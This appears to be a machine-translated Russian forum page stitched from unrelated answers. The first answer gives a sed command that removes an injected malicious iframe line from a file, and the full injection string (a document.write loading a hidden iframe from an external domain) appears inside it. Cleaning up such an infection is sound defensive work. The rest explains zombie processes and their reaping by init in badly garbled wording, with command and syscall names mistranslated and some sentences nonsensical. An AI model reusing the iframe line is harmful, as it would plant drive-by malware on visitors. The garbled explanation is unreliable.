Да восстанавливающий от резервного копирования лучше. Но относительно sed:
sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME
Я протестировал, и это работает правильно, независимо от того, имеет ли ИМЯ ФАЙЛА запаздывание \n
. Однако это действительно ожидает, что строка, которая будет удалена всегда, является последней строкой (в этом суть $ { ... }
.
Процессы зомби уже мертвы. Вы не можете их убить. Команда Убить
или системный вызов не влияет на процесс зомби. (Вы можете заставить зомби уйти с Убить
Убить
, но вы должны стрелять в родитель, а не зомби, как мы увидим через минуту.)
Процесс зомби не является процессом , это только запись в таблице процесса. Нет других ресурсов, связанных с процессом зомби: у него нет никакой памяти или любого запущенного кода, он не содержит никаких файлов, открытых и т. Д.
, когда процесс умирает, последнее, что нужно пойти, ведь Другие ресурсы очищены, является запись в таблице процессов. Эта запись содержится вокруг, образуя зомби, чтобы получить родительский процесс отслеживать состояние выхода ребенка. Родитель читает состояние выхода, позвонив одному из ждут
семейства Syscalls; На данный момент зомби исчезают. Позволяя ждать
, ждать пожинает ребенком, продлевая метафору овраги зомби, но в некотором роде все еще не полностью обработана в загробную жизнь. Родитель также может указывать на то, что он не заботится (игнорируя сигнал SIGCHLD, или путем вызова SIGCTACTION
с флагом
), в этом случае вход в таблицу процесса удален немедленно, когда ребенок умирает.
Таким образом, зомби существует только тогда, когда процесс умер, и его родитель не звонил ждать
. Это состояние может длиться только до тех пор, пока родитель все еще работает. Если родитель умирает перед ребенком или умирает, не прочитав статус ребенка, родительский процесс зомби устанавливается на процесс с PID 1, который является init
. Одной из рабочих мест INIT
состоит в том, чтобы позвонить ждать
в цикле и, таким образом, пожинать любого процесса зомби, оставленного позади его родителя.
Нет, нет встроенного механизма очистки для зомби. Зомби попадают в рай зомби, как только убивают их родителей. А до тех пор операционная система держит их, чтобы вернуть родителям статус выхода.
Нельзя убивать
зомби-процесс, так как он уже мертв.
Зомби-процессы должны быть подождать
от родителей, чтобы их статус выхода был собран.
Единственный "встроенный механизм очистки", существующий в Linux, работает в том случае, если любой родительский процесс умирает до того, как он соберет статус выхода своих детей. В этом случае каждый дочерний процесс наследуется процессом init
, который будет ждать
на дочернем процессе, собирать его статус выхода и удалять его запись в таблице процессов.
Как только умирает родитель процесса, процесс становится сиротой, не обращая внимания на то, зомби он или нет. Что происходит с сиротами? Они получают нового родителя, называемого init
. init
будет ждать
каждого собранного им сироты, таким образом пожиная сироту (которая, возможно, тоже была зомби).